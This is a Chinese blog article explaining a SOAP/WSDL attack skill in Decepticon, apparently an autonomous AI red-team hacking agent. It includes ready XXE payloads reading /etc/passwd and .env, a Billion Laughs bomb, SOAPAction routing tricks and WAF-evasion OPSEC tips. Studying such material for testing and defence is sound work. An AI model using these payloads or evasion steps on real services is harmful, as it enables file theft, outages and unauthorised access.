news 2026/10/14 15:54:52

SOAP/WSDL 攻击面实战指南:Decepticon api-soap-wsdl 技能深度解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SOAP/WSDL 攻击面实战指南:Decepticon api-soap-wsdl 技能深度解析

【免费下载链接】Decepticon

Autonomous Hacking Agent for Red Team

项目地址:https://gitcode.com/gh_mirrors/de/Decepticon
点击查看免费下载

导读

本文围绕 Decepticon 开源红队项目中 api-soap-wsdl 技能 展开,系统讲解针对遗留企业 SOAP/WSDL 服务(.NET ASMX、WCF .svc、Spring-WS、Java EE 总线等)的完整攻击方法论:从?wsdl接口枚举、SOAP 客户端生成,到 XXE、WS-Security 凭据泄露、WS-Addressing 重放、SAML/WS-Trust 令牌注入、Schema 校验绕过、XML Bomb DoS 与 SOAPAction 路由混淆等七类攻击手法。读完本文,你将掌握一套可复制的 SOAP 接口探测-攻击-收尾(OPSEC)流程,并理解该技能如何在 Decepticon 的load_skill渐进式披露机制下被红队 Agent 按需调用。

技能定位:Decepticon API 分类下的 SOAP/WSDL 子技能

在 Decepticon 的技能树中,api-soap-wsdl位于standard/exploit/api/目录,属于"现代 API 协议攻击"这一分类下的四个子技能之一(gRPC、SOAP/WSDL、WebSocket、SSE)。其父级路由技能 api/SKILL.md 明确给出了 SOAP 的线缆特征(wire signature):

协议子技能线缆特征
gRPCgrpcHTTP/2 +application/grpc[+proto\|+json],端口 50051/443
SOAP/WSDLsoap-wsdltext/xml/application/soap+xml的 XML 请求体,?wsdl服务发现
WebSocketwebsocketHTTPUpgrade: websocket握手后分帧传输
Server-Sent Eventsserver-sent-eventsContent-Type: text/event-stream单向流

路由技能提供的快速指纹识别命令是进入本技能的第一步:

# SOAP? curl -sk "https://target/endpoint?wsdl" | head -1 # XML WSDL 文档 curl -sk -X POST -H 'Content-Type: text/xml' https://target/endpoint # 500 + SOAP fault

一旦确认目标是 SOAP 服务,Agent 就会按 SKILL-FIRST 规则("当任务匹配子技能触发器时,必须在凭记忆行动之前先加载该技能")调用load_skill("/skills/standard/exploit/api/soap-wsdl/SKILL.md")获取完整攻击程序。技能 frontmatter 中的触发词正是该调用的判据:

metadata: when_to_use: "soap wsdl xml ws-security ws-addressing ws-trust saml asmx wcf .asmx .svc spring-ws" subdomain: api tags: soap, wsdl, xml, ws-security mitre_attack: T1190, T1203

其中mitre_attack: T1190(利用暴露的公网应用,Exploit Public-Facing Application)与T1203(客户端执行利用)会在 Agent 的系统提示词中以内联标签形式呈现,使技能目录具备 ATT&CK 感知能力。allowed-tools: Bash Read Write声明了本技能执行所需的工具面。关于 frontmatter 的字段契约与校验规则,可参阅 docs/skill-schema.md。

一、Discovery:WSDL 枚举与客户端生成

SOAP 攻击的第一步是从服务描述文档(WSDL)中获取接口全貌。技能给出了两条探测命令,覆盖 .NET ASMX、WCF 与 Spring-WS 三类主流实现:

# WSDL endpoints — try ?wsdl on any .asmx (.NET) / .svc (WCF) / Spring-WS endpoint curl -sk "https://target/Service.asmx?wsdl" | xmllint --format - curl -sk "https://target/Service.svc?wsdl" | xmllint --format - # Generate a client from the WSDL python -m zeep https://target/Service.asmx?wsdl # OR wsdl2java -uri https://target/Service.asmx?wsdl

要点拆解:

  • ?wsdl后缀探测:.asmx、.svc乃至 Spring-WS 端点后追加?wsdl是业界通行的服务描述获取方式。输出管道到xmllint --format -是为了把压缩在一行的 WSDL 美化排版,便于阅读<portType>、<binding>、<message>与<types>中嵌入的 XSD schema——这些正是后续构造合法 SOAP 信封与发现隐藏方法(如未在文档中公开的 AdminMethod)的原料。
  • Pythonzeep:以交互模式加载 WSDL 并生成可调用的 Python SOAP 客户端,适合在自动化脚本中枚举并调用每个方法。
  • wsdl2java:Apache CXF 工具链,将 WSDL 编译为 Java 桩代码,适合把服务接口静态化后逐方法审查参数类型与命名空间。

从仓库实现看,本技能所在的 exploit/api 目录下还有grpc、websocket、server-sent-events三个平行子技能;Discovery 阶段若同时发现 REST/GraphQL 接口,父路由技能会引导转向 exploit/web/SKILL.md。

二、攻击目录:七类 SOAP 专属攻击手法

1. XXE in SOAP envelope(信封内外部实体注入)

SOAP 请求体是标准 XML,若服务端解析器未禁用外部实体,即可读取服务器本地文件:

curl -sk -X POST -H "Content-Type: text/xml" -H 'SOAPAction: ""' \ -d '<?xml version="1.0"?> <!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body><tns:Method><tns:arg>&x;</tns:arg></tns:Method></soap:Body> </soap:Envelope>' https://target/Service.asmx

注意SOAPAction: ""空头:部分 ASMX 服务在头缺失时会直接拒绝请求,空字符串是绕过校验的常见做法。实体&x;被解析后,其内容(/etc/passwd)会作为参数值进入业务方法,若方法错误地把参数回显到响应或日志中即可读取。

这一手法在仓库的兄弟技能 exploit/web/xxe/SKILL.md 中有更完整的扩展,其 "XXE via SOAP" 章节给出了命名空间匹配的进阶变体——WSDL 中的元素往往带目标命名空间前缀,必须与实际服务契约一致才能命中:

curl -s 'http://<TARGET>/ws' -H 'Content-Type: text/xml' -d '<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///.env"> ]> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://target.namespace/"> <soapenv:Body> <ns:getData> <ns:input>&xxe;</ns:input> </ns:getData> </soapenv:Body> </soapenv:Envelope>'

当实体内容不回显时,xxe 技能还提供了**盲 XXE(Out-of-Band)**方案:把参数实体%file拼接到攻击者可控的 DTD URL 中,通过 HTTP 请求把文件内容带外传回监听端口,此处不再展开。

2. WS-Security UsernameToken 爆破与明文凭据泄露

<wsse:UsernameToken>是 WS-Security 中最常见的认证载体,而许多实现为了兼容旧策略会在<wsse:Password>中以明文携带密码:

# WSPolicy may demand: Type="...#PasswordText" curl -sk -X POST -d @ws-attack.xml https://target/svc # Brute: cycle a username dict, observe response time/error class

攻击路径有二:

  • 凭据收割:当通道是 HTTP(非 HTTPS)或网关/代理记录了请求体时,明文PasswordText直接暴露口令;即便是哈希形式(...#PasswordDigest),弱口令也可离线爆破。
  • 在线爆破:循环用户名/口令字典,观察响应时间与错误类别(SOAP Fault的Code/Reason字段、HTTP 状态码差异)来区分"用户不存在"与"密码错误",实现用户枚举与口令猜解。

3. WS-Addressing 重放(Replay)

SOAP 响应常携带<wsa:RelatesTo>回指请求中的<wsa:MessageID>,而部分服务器不校验 MessageID 的新鲜度:

<wsa:MessageID>uuid:CAPTURED_FROM_LEGITIMATE_REQUEST</wsa:MessageID>

把合法请求的 MessageID 直接复用,即可在无凭据情况下重放受 WS-Addressing 保护的请求。配合前面的明文凭据泄露,重放往往能直接拿到业务操作权限。

4. SAML in WS-Trust / SAML EncryptedAssertion

WS-Trust 1.3 的 RST(Request Security Token)与 RSTR(Response)流程允许交换 SAML 令牌。攻击方式包括:

  • 用 IdP 泄露的证书对断言重新签名;
  • 利用XML Signature Wrapping(XSW)让校验器检查合法断言、而应用读取攻击者断言。

技能的完整 XSW 变体(XSW1–XSW8、注释注入、签名剥离、KeyInfo 证书混淆)不在本文展开,请直接加载仓库中的 exploit/web/saml/SKILL.md——它给出了全部 8 种变体模式、SAMLResponse解码命令(base64 -d | xmllint --format -)、SAML Raider 自动化测试流程以及按 CVSS 校准的严重性分级表。SOAP 场景下只需记住:WS-Trust 端点本质是 SAML 断言的传输通道,XSW 的所有手法在此同样适用。

5. Schema validation bypass(Schema 校验绕过)

许多服务端先解析 SOAP 信封、后校验 XSD,甚至对超出 XSD 的元素直接"宽容放行"。向信封中注入 schema 之外的字段,往往会被业务层当作真实输入处理:

<soap:Body> <tns:Method> <tns:adminFlag>true</tns:adminFlag> <!-- not in XSD, often honored --> <tns:arg>value</tns:arg> </tns:Method> </soap:Body>

<tns:adminFlag>不在 XSD 定义中,但许多 ORM/反序列化框架会把它映射到对象属性——这正是"越权字段"类漏洞(对应 mass-assignment 思维)在 SOAP 世界的体现。验证手法:逐个添加可疑字段观察响应差异,并对照 WSDL 中 XSD 的minOccurs/maxOccurs约束寻找"宽松点"。

6. XML Bomb / Billion Laughs DoS(实体炸弹拒绝服务)

通过嵌套实体引用让解析器展开出指数级内容,耗尽 CPU 与内存:

<!DOCTYPE x [<!ENTITY a "12345678"><!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"><!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">]> <x>&c;&c;&c;</x>

a→ 10 个b→ 100 个c→ 1000 次展开,一次请求即可让未配置实体扩展上限的解析器瘫痪。该手法在 xxe 技能的 Common Pitfalls 章节中也有呼应:解析器若禁用SYSTEM实体则尝试PUBLIC实体,禁用file://则尝试php://filter包装器。

7. SOAPAction 路由混淆(.NET ASMX 特有)

.NET ASMX 按 HTTP 头SOAPAction而非请求体选择方法,两者可以不一致:

curl -X POST -H 'SOAPAction: "http://target/AdminMethod"' \ -d '<soap:Envelope>...PublicMethod body...</soap:Envelope>' \ https://target/Service.asmx

头声明调用AdminMethod,体内却是PublicMethod的参数结构——若路由层信任 SOAPAction 做鉴权,就会形成"借道公开方法触达管理方法"的逻辑绕过。实操时先通过 WSDL 提取全部操作的soapAction属性,再逐一组合测试。

三、Tooling:SOAP 交互式探测与自动化工具链

技能推荐的工具体系分三层:

# SoapUI free / Postman SOAP — interactive probing soapui --gui # or non-GUI: testrunner.sh # Burp Suite extensions: Wsdler, SAML Raider, XML Signature Wrapping # python zeep — programmatic SOAP client (good for automation) python3 -c "from zeep import Client; c = Client('https://target/Service.asmx?wsdl'); print(c.service.Method('arg'))"
  • SoapUI:GUI 模式适合人工构造信封逐方法调试;testrunner.sh无头模式可在 CI/批量脚本中对一组 WSDL 做回归式探测。
  • Burp Suite 插件:Wsdler把 WSDL 解析为可请求列表并管理 SOAPAction;SAML Raider覆盖 SAML/WS-Trust 场景的 XSW 与签名操作(详见 saml 技能 的 XSW1-8 自动化测试章节)。
  • Pythonzeep:Client('...?wsdl')一行即可拿到类型化的服务代理,c.service.Method('arg')直接调用;在 Decepticon 的 Bash 工具面(allowed-tools: Bash Read Write)下,这是最适合把 SOAP 攻击脚本化的方式——循环枚举方法、批量注入 payload、解析 SOAP Fault 都可在 Python 内完成。

四、OPSEC:SOAP 攻击的隐蔽性收尾

技能在攻击手册末尾单独列出三条 OPSEC 纪律,直接关系扫描的存活率与证据质量:

  • 随机化<wsa:MessageID>:WS-Addressing 的 MessageID 被大量 WAF 记录为请求指纹,逐请求随机化可避免重放行为被关联告警。对应可落地的做法是在每次请求前重新生成 UUID 替换头值。
  • 伪装客户端身份:WS-Security 头会暴露客户端标识,应从先前捕获的合法请求中提取真实的 clientID/证书指纹并复用,降低被 SOAP 网关标记的概率。
  • 限制 Fault 触发频率:SOAP Fault 响应会泄露堆栈跟踪(StackTrace、内部异常类名),是高价值信息;但每个扫描目标只触发一次即止,避免触发速率限制告警。

五、纵深机制:技能如何在 Decepticon 中被加载与审计

从仓库源码可以看清该技能的实际调用链路与治理约束:

  1. 渐进式披露(Progressive Disclosure):SkillsMiddleware 将技能目录(含本技能的描述、触发词、MITRE 标签、load_skill路径)注入 Agent 系统提示词,但技能全文不在目录中,只有任务匹配when_to_use触发词时才按需加载——这正是 SOAP 技能在无需处理 XML 目标的任务中不消耗上下文的机制。
  2. load_skill工具:tools/skills.py 实现的load_skill返回技能全文(frontmatter 剥离后),并附加 base directory 头与同目录references/索引;路径必须以/skills/开头、拒绝..穿越与反斜杠,越界路径会返回[load_skill error]字符串而非抛异常。
  3. Slug 模糊解析:tools/skills_registry.py 支持按精确路径、相对路径或唯一 slug(如soap-wsdl)解析;若多个候选并列,返回AmbiguousSkill让 Agent 显式选择,绝不静默猜测。
  4. Schema 审计:docs/skill-schema.md 定义了所有 SKILL.md 的 frontmatter 契约——name、description、metadata.subdomain、metadata.when_to_use为必填,mitre_attack必须匹配T\d{4}(\.\d{3})?等三种格式,且"攻击型"技能(不在reporting/、analyst/目录下)必须至少声明一项归因字段,否则触发R-no-attribution校验错误。api子域在别名映射中归一为web-exploitation。

结语:从技能到实战的执行顺序

综合上述内容,一条完整的 SOAP 目标处理流水线是:

  1. 指纹确认:用父路由技能的命令验证text/xml/application/soap+xml与?wsdl存在;
  2. 加载技能:load_skill("/skills/standard/exploit/api/soap-wsdl/SKILL.md"),必要时并行加载 xxe 与 saml 获取命名空间变体与 XSW 全集;
  3. 枚举:xmllint --format -梳理 WSDL,zeep/wsdl2java生成客户端;
  4. 逐类攻击:按上文七类手法顺序推进,同一边界类连续 3 个 payload 无差异即切换攻击类别(遵循 exploit/web 技能目录的 Payload Pacing 跨技术规则);
  5. 取证与收尾:记录 Fault 泄露的堆栈、保留最小触发次数,随机化 MessageID 与客户端标识。

该技能的完整正文(含全部命令与 payload)可在仓库 soap-wsdl/SKILL.md 直接查阅,父级路由与兄弟技能见 exploit/api 目录。

【免费下载链接】Decepticon

Autonomous Hacking Agent for Red Team

项目地址:https://gitcode.com/gh_mirrors/de/Decepticon
点击查看免费下载

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/14 15:53:59

TCP 三次握手:为什么恰好是三次,不是两次或四次

抓包的时候看到那三行——SYN → SYN, ACK → ACK&#xff0c;很多人第一反应是“能通就行&#xff0c;为什么非得三次”。我刚学网络那会儿也这么想&#xff0c;直到有次线上服务出现大量 CLOSE_WAIT 连接堆积&#xff0c;才逼着自己把这个问题从头推了一遍。今天把“为什么是…

作者头像 李华
网站建设 2026/10/14 15:53:59

智慧园林数字化治理:物联网+AI技术实践解析

1. 项目背景与行业痛点园林绿化行业正经历着从传统经验管理向数字化治理的转型阵痛期。我在参与多个城市园林项目时发现&#xff0c;养护工人凭经验浇水施肥、管理人员靠目测评估植物长势的现象仍然普遍存在。这种粗放式管理导致的问题包括&#xff1a;水资源浪费严重&#xff…

作者头像 李华
网站建设 2026/10/14 15:53:05

MMAction2 贡献指南:从 Fork 到 PR 的完整代码规范与提交流程

人工智能计算机视觉深度学习 【免费下载链接】mmaction2 OpenMMLabs Next Generation Video Understanding Toolbox and Benchmark 项目地址&#xff1a; https://gitcode.com/gh_mirrors/mm/mmaction2 点击查看 免费下载 导读 本文基于 docs/en/get_started/contribution_gu…

作者头像 李华
网站建设 2026/10/14 15:51:56

跨越“生产就绪”鸿沟:2026年企业级大模型API网关的底层逻辑重构

导语&#xff1a;从“功能可用”到“生产就绪”的阵痛与觉醒2026年&#xff0c;中国企业人工智能应用版图迎来了一次深刻的结构性跨越。如果说过去两年是百模大战的“技术炫技期”&#xff0c;那么今年则是大模型真正落地生根的“规模化生产期”。随着业务系统对大模型的调用量…

作者头像 李华